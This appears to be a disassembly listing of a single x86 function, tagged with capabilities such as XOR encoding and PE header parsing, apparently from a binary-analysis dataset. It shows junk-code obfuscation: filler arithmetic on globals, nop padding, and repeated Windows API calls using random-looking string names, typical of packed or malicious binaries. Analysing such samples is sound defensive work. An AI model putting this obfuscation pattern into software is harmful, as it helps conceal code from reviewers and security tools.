Function at 0x403144
Capabilities:
Encode data using xor
Parse pe header
Read .ini file
Set current directory

Disassembly:
mov byte [0x407070], 0xfe
mov al, byte [0x4070e1]
sbb dword [0x407155], eax
add esi, eax
adc dword [0x40705b], esi
mov ecx, dword [0x4071e5]
mov byte [0x407042], bh
add esi, edi
mov edx, dword [0x40702a]
mov byte [0x40713c], 0xd0
sub dword [0x4071e0], eax
add ecx, eax
mov dword [0x407109], ecx
xor byte [0x4070f7], cl
sub cl, 0xb6
mov byte [0x40702a], 0xc6
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne section..text
add edi, ebx
add bl, 0x9e
and dword [0x407024], esi
sbb edi, 8
add edx, ebx
xor dword [0x4070bf], eax
mov byte [0x40702d], 7
sub ebx, edi
sbb dword [0x40705c], esi
add eax, 0xffffff93
sbb dword [0x4071ab], esi
mov byte [0x407078], 0x19
mov edx, dword [0x407188]
mov edi, dword [0x40715e]
add ebx, eax
adc edi, 0xffffffdb
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x407101], 0x31
sbb dword [0x407187], edi
xor dword [0x4071b9], ebx
or dword [0x407192], esi
mov byte [0x4070f4], 0x29
mov byte [0x407049], 0x1b
add cl, ah
mov byte [0x407137], 0x34
sub dword [0x407097], ecx
mov ah, byte [0x4071b6]
adc dword [0x4070ca], esi
mov byte [0x407071], 0xdb
mov eax, dword [0x407078]
mov ebx, dword [0x407099]
sbb dword [0x4071f8], eax
mov ecx, dword [0x407050]
mov eax, dword [0x407038]
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, 0xffffffa6
or esi, 0x51
and dword [0x407154], edi
mov byte [0x407019], 0x50
mov esi, dword [0x4070cc]
mov ebx, dword [0x407050]
or dword [0x407056], eax
or edi, 9
mov dword [0x40715c], edi
mov byte [0x4070b5], 0x4c
sub ah, bh
mov eax, dword [0x407126]
mov ebx, dword [0x4071b0]
adc ebx, edi
mov edi, dword [0x40710a]
or dword [0x40715e], eax
or eax, 0xffffffbe
sub esi, 0xffffffaa
mov byte [0x407025], 0x23
add ebx, 0xffffffca
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x40112f
mov byte [0x4070d2], 0x42
mov edx, dword [0x40706d]
mov byte [0x40705c], 0x34
adc dword [0x407121], edi
mov bl, byte [0x40712b]
mov eax, dword [0x4070e7]
sbb eax, 0xffffffc4
mov ecx, dword [0x407154]
mov byte [0x4071cd], 0x57
xor al, al
mov byte [0x4071e1], 0x6c
and ah, 0x87
mov byte [0x40700b], 0xdf
add edi, edi
mov byte [0x4071b4], 0x2a
sbb edi, 0xffffffa6
sbb eax, esi
mov esi, dword [0x4071dc]
mov byte [0x40707f], 0xb9
cmp byte [0x407208], 1
jb 0x40178e
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret
add ebx, 0x60
and dword [0x407066], esi
mov byte [0x407130], 0x6f
sbb dword [0x4071db], edi
mov byte [0x4070c2], 0x42
add dword [0x40706b], eax
sbb eax, 0xffffffc1
mov ecx, dword [0x40712e]
adc edi, 7
mov esi, dword [0x407167]
mov dword [0x407191], eax
add dh, bh
mov ebx, dword [0x40716d]
sub edi, eax
add eax, edi
or dword [0x4071f6], edi
mov byte [0x4071f7], 0xe1
sub esi, eax
mov esi, dword [0x4071e1]
mov byte [0x407054], 0xff
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add edx, 0x6d
mov byte [0x407117], 0x7d
and eax, 0x42
adc edx, esi
add edx, 0x38
mov esi, dword [0x407135]
xor esi, ebx
add ecx, 0xffffff92
sub ebx, 0x52
xor dword [0x40711b], esi
and dword [0x407055], ebx
sbb edi, esi
mov byte [0x40718b], 0x2e
mov ecx, dword [0x4071de]
mov byte [0x407065], 0xc3
mov ecx, dword [0x40709c]
sbb dword [0x407024], ecx
mov eax, dword [0x407146]
sbb ebx, eax
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x401caf
add edx, esi
add dword [0x4071f8], esi
mov al, byte [0x40711e]
sbb eax, 2
mov dh, byte [0x407013]
add edi, esi
xor eax, edi
and dword [0x4070da], ebx
sub dword [0x4071f1], edi
mov edx, dword [0x407061]
add ecx, 0xffffffc7
sbb ebx, 0x19
add edx, 0x5f
xor ecx, edx
sub al, bh
xor ecx, ebx
cmp byte [0x407208], 1
jb 0x4041d4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
adc dword [0x407069], edi
adc edi, esi
xor dword [0x407076], esi
mov bh, byte [0x407181]
add ah, al
xor dword [0x407024], ebx
mov byte [0x407197], 0xef
mov edi, dword [0x40709d]
mov ecx, dword [0x40709a]
mov ecx, dword [0x40707b]
mov edx, dword [0x407040]
add dl, al
and bl, 0xb0
sbb edi, eax
add ecx, 0xc
and esi, 0x69
and ecx, 0x64
add ecx, 0xffffffb6
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x401355
xor edi, 0xffffff8f
mov esi, dword [0x4070ff]
mov dword [0x407079], eax
sub dword [0x4071e7], eax
adc dword [0x40716c], edi
or dword [0x4070f4], eax
mov byte [0x4071e6], 0x42
mov byte [0x407023], 0x39
adc eax, esi
mov byte [0x40717b], 0x29
add edx, esi
mov byte [0x4071a3], 0x6d
mov eax, dword [0x4070df]
add ecx, edi
mov ecx, dword [0x407048]
mov ch, byte [0x407069]
and byte [0x4070a6], bh
cmp byte [0x407208], 1
jb 0x4032c5
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [0x407081], 0x71
sub ebx, eax
adc esi, 0xffffffc5
mov byte [0x40719b], 0xc5
mov byte [0x4070ff], 0xe
and dword [0x4070c3], ebx
mov byte [0x40704e], 0xaf
mov byte [0x407004], 0xfd
mov byte [0x40715a], 0xf4
sbb dword [0x4070c3], ebx
add ecx, 0x1e
mov byte [0x407046], 0xa1
xor eax, 0xffffffd4
mov byte [0x4071cc], 0x59
and ebx, 0x20
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x40701e], 0xaf
add esi, edi
sub ebx, 0x64
sub dword [0x407035], eax
adc dword [0x4070cc], edi
mov ebx, dword [0x407139]
add al, 0x17
mov byte [0x407079], 0xef
mov bl, byte [0x407072]
or dword [0x407176], esi
mov byte [0x4070cd], 0xf7
sbb ebx, 0xc
add dh, bh
sub esi, 0x4d
adc edi, edi
mov esi, dword [0x407020]
mov ebx, dword [0x40709f]
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
adc ebx, 9
xor dword [0x40711e], eax
mov ah, byte [0x407066]
mov byte [0x407071], 0x62
add ecx, esi
add edx, 0x22
add eax, ebx
mov edi, dword [0x4070b6]
add ecx, esi
add al, 0x12
mov ebx, dword [0x4071b7]
mov byte [0x407045], 0x75
sbb dword [0x407088], edi
mov eax, dword [0x407165]
add edi, ebx
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edx, dword [0x40716d]
adc dword [0x4070bd], eax
mov byte [0x407087], 0x1d
adc dword [0x407070], eax
mov byte [0x4070cf], 0x51
mov byte [0x40703f], 0x65
mov byte [0x4071c5], 0xae
sbb esi, 0xffffffd5
mov byte [0x4071a7], 0x86
mov eax, dword [0x407144]
adc dword [0x407142], esi
sbb dword [0x40710b], esi
sub eax, eax
and edi, 0xffffff91
adc ebx, edi
mov ecx, dword [0x407132]
add ecx, 0x6b
mov esi, dword [0x4071c5]
xor ebx, 0x7c
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x407122], 0x43
mov eax, dword [0x407091]
sub al, ah
add dh, 0x82
adc edx, ebx
add edi, eax
add ecx, 0x5f
and dword [0x407143], eax
mov byte [0x4070e0], 0x3e
mov esi, dword [0x4070e6]
sbb dword [0x40712e], edx
mov dh, byte [0x4071f2]
sub ebx, 0x64
sbb cl, 0x6b
add ecx, edi
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
or dword [0x40707b], ebx
adc edi, 0xffffff84
add ecx, esi
add edx, eax
xor dword [0x4070d3], ebx
sbb esi, ecx
mov byte [0x407137], 6
or eax, 0x5f
mov byte [0x40718f], 0x82
mov edx, dword [section..data]
sbb edx, ebx
add cl, 0xc0
mov ebx, dword [0x4071de]
mov dword [0x40707b], eax
mov byte [0x40709a], 0xd5
mov byte [0x4070a9], 0x80
mov cl, byte [0x40700e]
add ah, ah
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x401602
mov eax, dword [0x407126]
or byte [0x407091], ah
mov esi, dword [0x407065]
mov byte [0x4070f8], 0xdc
sub dword [0x40704c], eax
add dword [0x407153], edi
add ecx, eax
adc edi, 0xffffff93
mov byte [0x407124], 0x80
mov byte [0x407152], 0xe0
add ecx, 0xffffff90
add dword [0x40712c], ecx
adc ebx, 0x31
mov ch, byte [0x407075]
xor dword [0x4071c2], eax
sbb dword [0x407183], esi
add edx, 0x39
mov esi, dword [0x407085]
add edx, 0xffffffbe
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
add dword [0x40707e], esi
mov byte [0x4070d9], 0x76
xor edi, 0xd
mov dword [0x407173], edi
mov al, byte [0x4071f1]
sub dword [0x4071f2], esi
xor ebx, eax
mov esi, dword [0x4071bb]
mov byte [0x4071ac], 0x39
mov byte [0x40705d], 0xf
add edx, edi
or eax, 0xffffffa9
mov edi, dword [0x40713f]
mov byte [0x40712c], 0x43
mov esi, dword [0x40700e]
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x404034
add dl, ah
mov byte [0x4070ae], 6
add dl, 0x1a
add ecx, 0xffffffa3
mov eax, dword [0x4070a0]
mov byte [0x4070e0], 0x56
sub ecx, esi
adc edi, 0xffffff95
or eax, 0x30
add edi, 0xfffffff0
add ebx, 0x40
xor esi, 0xa
sub ecx, edx
mov byte [0x40704e], 0xae
sub edx, 0x4b
adc al, cl
mov al, byte [0x407150]
mov ecx, dword [0x40710d]
cmp byte [0x407208], 1
jb 0x401216
nop
nop
nop
nop
nop
mov byte [0x4070d1], 0xc5
add ecx, 0xffffffd0
mov byte [0x407054], 0x3d
adc byte [0x407180], cl
or dword [0x40717c], edi
sub ecx, edi
adc al, 0xc7
mov al, byte [0x407074]
sub dword [0x4070e1], ecx
and dword [0x4070f3], eax
mov ecx, dword [0x40704a]
sbb dword [0x407079], edi
and dword [0x4071c0], esi
add edx, edi
adc dl, 0x31
or dword [0x407109], edx
mov byte [0x407050], 0x99
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
xor edi, ebx
add esi, 0x1d
mov ebx, dword [0x407154]
add byte [0x407160], bh
adc dword [0x40706f], eax
or dword [0x4071ee], eax
mov ah, byte [0x4071ac]
mov esi, dword [0x4070e2]
sbb dword [0x407027], edi
add esi, edi
mov edi, dword [0x407062]
add edx, edi
mov edi, dword [0x407076]
add ecx, edx
mov byte [0x407025], 0xad
add ebx, 0x61
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x40178e
mov byte [0x4071c5], 0x96
xor ebx, 0xffffff94
adc dword [0x407160], ebx
sbb edi, eax
add ecx, 0xffffffe2
mov edx, dword [0x407110]
adc eax, 0xffffffa5
mov ecx, dword [0x40712b]
or dword [0x407172], esi
xor ecx, 0xfffffffa
mov byte [0x4071d3], 0xbe
or esi, 8
mov edx, dword [0x407121]
add bl, 0x78
or dword [0x407018], esi
sbb dword [0x4071e2], ecx
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add edx, 0xffffffe0
mov byte [0x4071f7], 0x9e
sbb edx, ebx
adc edi, 7
mov ecx, dword [0x40713e]
mov byte [0x4070fa], 0x6a
xor eax, 0x5e
mov edx, dword [0x4071bd]
sbb eax, eax
add ch, dh
xor dword [0x40704a], eax
mov dword [0x407100], edx
mov byte [0x4070c1], 0xb0
mov cl, byte [0x407026]
add edx, eax
adc dword [0x4070e2], edi
add esi, eax
sub byte [0x40703b], al
sbb ebx, eax
adc edi, ecx
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x40112f
mov dword [0x407069], edi
xor esi, esi
adc edi, ebx
and dword [0x4070f0], eax
xor esi, 0x20
mov ecx, dword [0x4070f6]
mov ebx, dword [0x4070db]
mov esi, dword [0x407116]
add edx, esi
and eax, 0xffffffce
mov byte [0x407132], 0x32
sbb dword [0x4070f8], eax
mov ebx, dword [0x407119]
mov dword [0x407196], ebx
sbb dword [0x4071fb], ebx
and edi, 0xffffffce
mov ebx, dword [0x407087]
mov ah, byte [0x4071b0]
cmp byte [0x407208], 1
jb 0x4029b6
nop
add bh, 1
and dword [0x40712d], edi
mov eax, dword [0x407078]
add ecx, edi
sbb edi, 0x76
xor byte [0x4070df], bh
xor dword [0x407157], esi
xor dword [0x407079], edi
mov byte [0x407106], 0x4e
mov byte [0x407194], 0x90
mov ecx, dword [0x4070d9]
xor edi, esi
mov edx, dword [0x4070dc]
add edx, eax
mov byte [0x4070d1], 0x9c
mov edi, dword [0x407105]
add ecx, 0xffffffe3
add eax, 0xffffffcd
add dword [0x407054], eax
or esi, 0x7e
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x4036af
add ebx, 0x60
mov byte [0x40706d], 0xd3
xor al, 0x80
add eax, esi
add edx, esi
mov byte [0x407005], 0xe4
mov ecx, dword [0x407155]
and dword [0x4071e1], ebx
mov eax, dword [0x407012]
add esi, eax
adc byte [0x4070d6], bh
mov ebx, dword [0x40707f]
add esi, 0xffffff9c
add ecx, 0xc
sbb dword [0x40713a], ecx
mov eax, dword [0x4070f0]
add edx, eax
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x4036af
add ebx, ebx
add ecx, 0x43
add dh, cl
xor esi, 0x2b
mov dh, byte [0x407153]
add eax, ecx
mov dword [0x4071de], edx
mov esi, dword [0x407033]
mov edx, dword [0x4070a2]
mov dword [0x4071f6], edi
add edx, 0xa
or edx, 0xffffffdd
add eax, edi
or dword [0x4070c9], ecx
sub edi, ebx
add eax, ebx
or dword [0x407029], eax
mov eax, dword [0x4071dc]
cmp byte [0x407208], 1
jb 0x401f92
nop
nop
nop
add edx, edi
mov byte [0x4070f6], 0x35
mov byte [0x4070ec], 0x27
mov edx, dword [0x40704f]
sub ebx, eax
and bh, 0xd7
sub ebx, 0xffffff83
add ecx, 0x7b
sbb eax, 0xffffffa1
add byte [0x40716f], cl
mov eax, dword [0x4070b3]
mov ecx, dword [0x407034]
sub esi, esi
mov dh, byte [0x40708f]
sbb byte [0x407195], al
xor dword [0x40706c], edx
mov byte [0x40701f], 0x57
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x401ac9
and dword [0x407162], eax
add edx, eax
sub bl, 0x3e
add edx, esi
mov ecx, dword [0x407084]
add ecx, 0xfffffffd
mov byte [0x407038], 0xb4
and edx, 0xffffffee
and ebx, 0x5d
sub dword [0x407052], ebx
adc dword [0x407060], ebx
mov byte [0x40703b], 0xa1
or eax, 0xfffffff8
and ebx, 0x31
mov byte [0x4071f1], 0x4b
xor ebx, edx
cmp byte [0x407208], 1
jb 0x40410f
nop
nop
nop
nop
nop
nop
nop
and edi, 0x72
sub ebx, ebx
adc eax, 0xfffffff9
add ecx, esi
mov byte [0x4070df], 0x1d
add eax, 0xffffffe3
mov ebx, dword [0x40712a]
and esi, 0xffffffca
mov eax, dword [0x4070cf]
add edx, ecx
add edx, 0x6d
sbb esi, 0xffffffa6
adc edx, ebx
sbb edi, 0xfffffff3
mov ebx, dword [0x4071ac]
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x401b82
mov dword [0x4071c5], eax
add edx, esi
xor al, 0xf2
sub dword [0x40704f], esi
mov dword [0x4070d6], ebx
mov byte [0x407138], 0x53
add ah, 0x98
xor dword [0x407097], eax
xor eax, 0x3d
mov byte [0x4070e3], 0xdb
sbb dword [0x4071d3], esi
add ebx, edx
xor dl, ah
mov esi, dword [0x40712f]
or edx, 0xffffffb5
mov ah, byte [0x4071b5]
mov byte [0x40715a], 0xcd
xor eax, esi
mov byte [0x407070], 0x9e
mov byte [0x4070f7], 0x7a
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x401b82
mov byte [0x40709a], 0x9d
or esi, 0x20
mov byte [0x4071e5], 0x38
add edx, eax
mov byte [0x4070e2], 0xa4
mov ecx, dword [0x4071aa]
add edx, eax
mov byte [0x407097], 0x38
sub edi, 0x46
mov edi, dword [0x407042]
adc byte [0x4071aa], bl
adc esi, ebx
add eax, esi
mov edi, dword [0x407148]
and dword [0x407090], esi
adc byte [0x4070ff], al
sub dword [0x4070cb], ebx
add ecx, 0xffffffdd
cmp byte [0x407208], 1
jb 0x401212
nop
add esi, 0xfffffff5
add edi, edi
xor dword [0x4071a6], esi
add esi, eax
mov byte [0x40709b], 0x8f
mov byte [0x407152], 0xc8
add ecx, 0x74
sbb esi, ebx
mov byte [0x4071b7], 0x76
mov byte [0x407059], 3
xor dword [0x407113], ebx
or esi, 6
adc ecx, 0xffffff93
sbb ebx, ebx
mov byte [0x407144], 0x60
or dword [0x40715e], eax
add edx, 0x10
sbb dword [0x4071e3], eax
mov byte [0x40701c], 0x91
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x401caf
mov byte [0x40705a], 0x96
add edx, 0xffffffc0
add dword [0x4070fe], edx
mov bh, byte [0x407017]
and dword [0x4070b1], eax
or dword [0x40711a], edx
add esi, ebx
mov eax, dword [0x40701e]
mov byte [0x40718f], 0x82
mov byte [0x407052], 0xd8
add edx, ebx
sbb edx, 5
mov byte [0x40711e], 0x26
sub eax, 0xffffffd2
xor dword [0x40712c], edx
sub edx, 0xffffff8d
mov byte [0x4070e6], 0x81
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x401caf
add ch, 0xa7
xor dword [0x407167], esi
mov eax, dword [0x407083]
and dword [0x40719f], ecx
add esi, ecx
and dword [0x4071bb], esi
and eax, 0x40
mov byte [0x4071c2], 5
sbb eax, 0x58
sub dword [0x4070ef], edi
sub ebx, ebx
add edx, ebx
xor ebx, eax
add ebx, 0x66
sbb esi, 0xffffffae
sbb ebx, 0xffffffe1
adc edx, ecx
mov eax, dword [0x40714c]
cmp byte [0x407208], 1
jb 0x403f89
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [0x4070da]
mov ebx, dword [0x40705b]
mov bh, byte [0x407053]
or dword [0x4070ec], ebx
xor dword [0x40718f], esi
mov ah, byte [0x407049]
xor esi, ebx
mov byte [0x4071f0], 0x33
mov ecx, dword [0x4070a4]
mov dword [0x4070d9], eax
xor dword [0x4070d2], eax
add edx, ebx
add ecx, ebx
mov esi, dword [0x407022]
sbb eax, 0x5d
mov eax, dword [0x4070a1]
add edi, eax
sbb byte [0x4070fc], bl
add edx, 0x58
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add ecx, esi
mov byte [0x407062], 0xd8
sbb esi, 0xffffffe9
add dh, cl
mov byte [0x4071d6], 0xdc
mov byte [0x407015], 0x7c
or dword [0x4071a7], esi
mov byte [0x4070b9], 0xfe
or dword [0x40703a], eax
add dl, 0x90
mov byte [0x407016], 0xa6
mov byte [0x40711a], 0xeb
or ebx, 0x26
or dword [0x4070aa], edi
mov byte [0x407030], 0x60
cmp byte [0x407208], 1
jb 0x40237c
nop
nop
nop
nop
sub dword [0x4070d5], eax
sbb byte [0x4071dd], bh
add edx, ebx
or edx, 0x6a
mov esi, dword [0x4070ce]
mov byte [0x407137], 0x42
or dword [0x4070c6], ebx
xor dword [0x40711d], eax
adc edx, eax
xor edi, 0xffffffdf
add edi, 0xffffff80
add edx, edx
adc eax, eax
mov byte [0x407030], 0x55
mov bh, byte [0x4070a9]
mov byte [0x407196], 0x78
sbb edi, edx
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x401ec7
add dword [0x407078], esi
mov ecx, dword [0x4070c8]
mov bl, byte [0x407090]
and esi, 0xd
mov ecx, dword [0x407116]
or edi, 0xffffffe2
adc dword [0x4070c4], ebx
add ecx, 0xffffff88
mov esi, dword [0x407092]
and eax, 0x54
adc ebx, 0xffffff8c
sbb esi, ebx
or dword [0x4071c0], ecx
add dword [0x407195], edi
add edi, 0xffffffaa
mov byte [0x407021], 0x84
add edx, ecx
sub dword [0x407178], esi
cmp byte [0x407208], 1
jb 0x40352d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esi, 6
add ah, bl
mov byte [0x407088], 0x29
mov byte [0x4071a6], 0x69
mov esi, dword [0x4071df]
mov esi, dword [0x407082]
mov edi, dword [0x4070ad]
adc esi, eax
adc edi, edi
mov bh, byte [0x407140]
mov byte [0x407043], 0x74
add esi, edi
mov byte [0x4070c3], 0xcf
add eax, edi
adc ebx, 0xffffffbe
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x407026], 0x85
sub esi, 0x63
mov dword [0x40708c], ebx
mov byte [0x407025], 0x62
xor ebx, 0xffffff85
adc esi, 0xfffffff4
add edx, 0xffffffec
sub eax, ebx
mov ecx, dword [0x4070ca]
mov byte [0x4071bd], 0x89
and dword [0x40708d], eax
mov ebx, dword [0x4071d7]
add ebx, 0x1d
mov edi, dword [0x407102]
mov ebx, dword [0x40707a]
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x401ec7
mov edx, dword [0x40711f]
or dword [0x4070a7], ebx
add ecx, ebx
sbb eax, 0xffffffe1
add edx, ebx
mov byte [0x40701b], 0x1e
mov bl, byte [0x4070b2]
add edx, edi
xor dword [0x40714d], eax
or esi, 0x3f
and ebx, 0xffffff86
sbb esi, 0xffffff9a
sbb edi, ecx
mov edi, dword [0x4070f9]
add edx, 0x66
or edx, 0x7d
or eax, 0x59
and edx, 0x33
cmp byte [0x407208], 1
jb 0x404299
nop
mov dword [0x4071e1], edi
add ebx, 0xfffffffb
add dh, al
mov eax, dword [0x40702e]
add ecx, 0xffffffd4
add edx, ebx
xor ecx, 0xffffffa8
mov dword [0x407060], ecx
add dword [0x4070e0], eax
mov dh, byte [0x4071c1]
mov byte [0x4071f3], 0x24
sub edx, 0xffffffeb
xor esi, esi
mov ecx, dword [0x4070ae]
sub ebx, edi
sub esi, edi
sub dword [0x4071ba], edx
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x4020a3
mov byte [0x4071cc], 0x82
mov dword [0x407054], eax
mov byte [0x40718e], 0x6d
mov ebx, dword [0x407017]
add edx, esi
add ecx, 0xffffffb2
mov byte [0x4070b3], 0x33
mov byte [0x4070c1], 0x2d
mov byte [0x407008], 5
mov ebx, dword [0x4071e0]
mov byte [0x407108], 1
mov dh, byte [0x4071a3]
or dword [0x4071f2], eax
add ecx, ecx
adc esi, 0x57
and dword [0x407064], edi
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [0x407083]
mov byte [0x4070cb], 0xb9
add esi, edi
mov ebx, dword [0x407108]
add eax, esi
mov byte [0x40700c], 0xe2
sub edi, ebx
mov byte [0x407184], 0x4a
add edx, eax
adc dword [0x4071c2], edi
add ecx, eax
add esi, eax
adc ecx, edi
mov byte [0x407076], 0xfb
sbb esi, eax
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x40217c
mov al, byte [0x40703e]
mov edi, dword [0x4071af]
sub al, 0x97
mov byte [0x40711b], 0xb1
mov edi, dword [0x4071fb]
and dword [0x407012], edi
or dword [0x407082], eax
or edi, 0xffffffe8
adc eax, edi
mov byte [0x4071e8], 0x7f
add edx, ebx
mov byte [0x4071c8], 2
mov byte [0x4070fe], 0xd0
mov byte [0x4070b1], 0xe4
add dl, 0x7b
mov byte [0x40700c], 0x70
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x40714f], 0x7a
sub ebx, 0xb
add edi, ebx
adc byte [0x40718c], al
mov byte [0x4071d3], 0x4b
xor dword [0x407178], eax
and dword [0x407047], eax
mov byte [0x4070d2], 0x84
mov byte [0x40708e], 0x10
or dword [0x4070bb], ebx
xor dword [0x4070ee], eax
sbb ebx, esi
adc dword [0x4071fa], edi
add edx, 0xffffffea
sbb dword [0x407133], ebx
mov byte [0x40717f], 0xe8
and eax, 0xfffffffd
sub ebx, eax
cmp byte [0x407208], 1
jb 0x401b82
nop
nop
nop
nop
nop
nop
nop
nop
nop
and dword [0x4070e5], eax
mov esi, dword [0x40711e]
mov edx, dword [0x4071e8]
xor dword [0x4071d1], edi
sub ebx, 0xffffffd5
xor edi, ebx
add edi, eax
and byte [0x40701f], bl
add ch, bl
mov edx, dword [0x407001]
mov edi, dword [0x407008]
adc dword [0x4070b3], eax
adc esi, 0x60
add dh, ch
mov byte [0x4071ad], 0x51
or dword [0x4070b6], eax
mov byte [0x4070a9], 0x7e
sbb esi, 0xffffffea
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x402299
mov ebx, dword [0x4071ed]
mov bl, byte [0x4070d5]
adc esi, 0x15
mov byte [0x4070e1], 0x87
mov byte [0x4070ae], 0xbe
sbb eax, 0xffffffc3
mov ecx, dword [0x407113]
mov byte [0x40711a], 0x3c
mov edi, dword [0x4071d4]
mov byte [0x4071d3], 0xc5
and dword [0x4070ef], eax
mov byte [0x40715d], 0x93
mov al, byte [0x4071c0]
or dword [0x407160], ebx
mov edx, dword [0x407175]
add ecx, 0xffffffcd
xor ecx, 0xffffffe9
sub dword [0x407031], esi
mov ebx, dword [0x40711b]
adc esi, 0xffffffd8
cmp byte [0x407208], 1
jb 0x4033ee
nop
nop
nop
nop
add edx, eax
mov ebx, dword [0x4071cc]
xor edi, 0x69
mov eax, dword [0x4071a1]
sub byte [0x407081], dl
or dword [0x4071b4], ebx
mov edx, dword [0x407132]
sbb dword [0x40703e], esi
add edx, eax
mov byte [0x407022], 0x87
add edi, eax
adc dword [0x4071d1], ebx
sbb edx, edi
or edx, 0xffffffbe
mov ebx, dword [0x407041]
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x40237c
mov byte [0x407006], 0x24
mov byte [0x40709d], 0xe
sub ebx, 0x4e
sbb edi, 0xffffff99
add ecx, 0x12
adc eax, esi
add edx, eax
adc esi, edi
or dword [0x407049], ecx
mov byte [0x4070f7], 0xa1
add dword [0x407035], eax
and ebx, 0xffffffbc
mov byte [0x40702e], 0xc6
and dword [0x4070ab], ebx
sub ecx, ebx
cmp byte [0x407208], 1
jb section..text
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [0x40716f]
mov byte [0x40701c], 0x23
add eax, 0xffffffa7
add eax, 0xffffff80
mov eax, dword [0x407091]
mov byte [0x40712e], 0x67
add edi, esi
mov al, byte [0x40718c]
mov byte [0x407174], 0x60
add dword [0x407090], esi
mov byte [0x407177], 0x96
mov esi, dword [0x4071c3]
add dh, 0xe1
sbb ebx, ebx
mov byte [0x407163], 0xeb
mov byte [0x40705b], 9
mov byte [0x407100], 0x7d
xor eax, edi
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add bh, al
mov byte [0x40703d], 0xe9
add edx, esi
mov dh, byte [0x4070e5]
xor ebx, 0xffffffc5
xor byte [0x4070fc], ah
or edi, 5
mov bh, byte [0x4070e9]
mov dword [0x4070b7], edi
mov byte [0x4071c2], 0x7b
mov eax, dword [0x40701f]
sbb dl, al
adc edx, ebx
add edx, 0xffffffab
sbb edi, 0xffffffd1
